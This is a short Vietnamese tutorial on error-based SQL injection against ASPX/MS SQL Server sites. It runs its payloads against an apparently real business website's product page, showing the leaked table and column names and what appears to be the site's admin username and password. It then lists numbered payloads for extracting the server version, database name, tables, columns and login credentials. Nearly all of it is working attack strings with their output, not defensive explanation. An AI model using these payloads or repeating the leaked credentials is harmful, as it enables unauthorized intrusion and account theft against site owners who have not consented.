SQLI - Khai Thác Đối Với ASPX

Unclosed quotation mark after the character string ''

Ví dụ:     http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42’ 

 Conversion failed when converting the nvarchar value 'tbl_DiaChi' to data type int.

Conversion failed when converting the nvarchar value 'tbl_DoiTac' to data type int.

  Conversion failed when converting the nvarchar value 'ID' to data type int.

http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in ('ID')))-- - 

 Conversion failed when converting the nvarchar value 'TenDN' to data type int.

http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in ('ID','TenDN')))-- -

 Conversion failed when converting the nvarchar value 'Matkhau' to data type int.

Conversion failed when converting the nvarchar value 'loimv' to data type int.  

Conversion failed when converting the nvarchar value 'maihoanglinh@' to data type int 

   Conversion failed when converting the nvarchar value 'loimv/maihoanglinh@' to data type int

 

              and 1=convert(int,@@version)-- -

     and 1=convert(int,@@servername)-- -

3-  Get data base name:

     and 1=convert(int,db_name())-- -

4-  Get system user

     and 1=convert(int,system_user) -- -

5-  Get table thứ nhất

     and 1=convert(int,(select top 1 table_name from information_schema.tables))-- -

6-  Get table thứ 2:

   and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("FIRST-TABLE-HERE")))-- -

7-  Get table thứ 3 :

     and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("Second-Table-Here")))-- -

8-   Get đến table user để lấy thông tin đăng nhập của admin

10 - Get column thứ nhất từ table chứa admin :

       and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")))-- -

11-  Get column thứ nhất từ table chứa admin :

       and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")

                                               and column_name not in ("FIRST-COLUMNS-HERE")))-- -

   12-  Get cho hết các columns cần lấy thông tin

   13-  Xuất ra thông tin username và password

        and 1=convert(int,(select top 1 column-name-1%2b’/’%2bcolumn-name-2 from TABLE-NAME-HERE))-- -